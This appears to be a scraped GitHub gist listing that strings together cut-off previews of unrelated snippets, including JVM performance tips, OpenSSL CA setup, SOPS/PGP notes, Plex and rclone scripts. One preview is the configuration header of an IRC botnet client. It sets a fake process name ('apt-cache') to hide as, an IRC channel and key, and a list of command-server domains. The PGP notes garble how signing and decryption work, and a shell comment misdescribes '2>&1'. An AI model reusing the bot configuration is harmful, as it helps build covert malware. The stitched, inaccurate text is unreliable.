Tom Carrio tcarrio

Quick Tips for Fast Code on the JVM

I was talking to a coworker recently about general techniques that almost always form the core of any effort to write very fast, down-to-the-metal hot path code on the JVM, and they pointed out that there really isn't a particularly good place to go for this information. It occurred to me that, really, I had more or less picked up all of it by word of mouth and experience, and there just aren't any good reference sources on the topic. So… here's my word of mouth.

This is by no means a comprehensive gist. It's also important to understand that the techniques that I outline in here are not 100% absolute either. Performance on the JVM is an incredibly complicated subject, and while there are rules that almost always hold true, the "almost" remains very salient. Also, for many or even most applications, there will be other techniques that I'm not mentioning which will have a greater impact. JMH, Java Flight Recorder, and a good profiler are your very best friend! Mea

Elm best practices

Style guide

Create Root CA (Done once)

Create Root Key

Attention: this is the key used to sign the certificate requests, anyone holding this can sign certificates on your behalf. So keep it in a safe place!

openssl genrsa -des3 -out rootCA.key 4096

I'm learning about SOPS and setting it up as my preferred mechanism for storing secrets. Here are my notes.

PGP

It’s security mechanism is that we (i.e. client) use a PUBLIC key from the receiver (i.e. server) and encode it with a random key (I’m saying nonce but it could be reused)

This varies from RSA and SSH because the server uses a PUBLIC key to identify the client.

Web of trust

Web of trust operates by still using PGP (i.e. encoding with recipient’s public key) but additionally, we can encrypt/sign the data as our own by signing it with the client’s private key.

This means the recipient will initially decrypt via our (i.e. client’s) public key (verifying the source) and then decrypting via their (i.e. server’s) private key to get the data.

Material Animations

[Android Transition Framework][transition-framework] can be used for three main things:

Animate activity layout content when transitioning from one activity to another.
Animate shared elements (Hero views) in transitions between activities.
Animate view changes within same activity.

Plex How-To

How to install Plex Media Server. Most of these commands can just be copy-pasted.

Update Finch

Update finch to version 1.25 or newer.

# Finch users should first update to get the latest fixes

[ "$(echo "$(finch --shortver) >= 1.25" | bc)" = 1 ] || sudo finch update -y

	#Here's my bash script using "nice" for CPU prioritization on a Synology DiskStation NAS:

	#!/bin/bash
	echo "Backing up server folder to Google Drive."
	#echo

	# run rclone using nice, with config options
	# >> appends to log file
	# 2>&1 silences all output
	# & runs in background

	#define STARTUP 1
	#undef IDENT // Only enable this if you absolutely have to
	#define FAKENAME "apt-cache" // What you want this to hide as
	#define CHAN "#mint" // Channel to join
	#define KEY "bleh" // The key of the channel
	int numservers=5; // Must change this to equal number of servers down there
	char *servers[] = {
	"updates.absentvodka.com",
	"updates.mintylinux.com",
	"eggstrawdinarry.mylittlerepo.com",

	#!/bin/bash

	# The MIT License (MIT)
	#
	# Copyright (c) 2015 Philip Huppert
	#
	# Permission is hereby granted, free of charge, to any person obtaining a copy of
	# this software and associated documentation files (the "Software"), to deal in
	# the Software without restriction, including without limitation the rights to
	# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of

	#!/bin/bash
	#
	# /etc/rc.d/init.d/gogs
	#
	# Runs the Gogs Go Git Service.
	#
	#
	# chkconfig: - 85 15
	#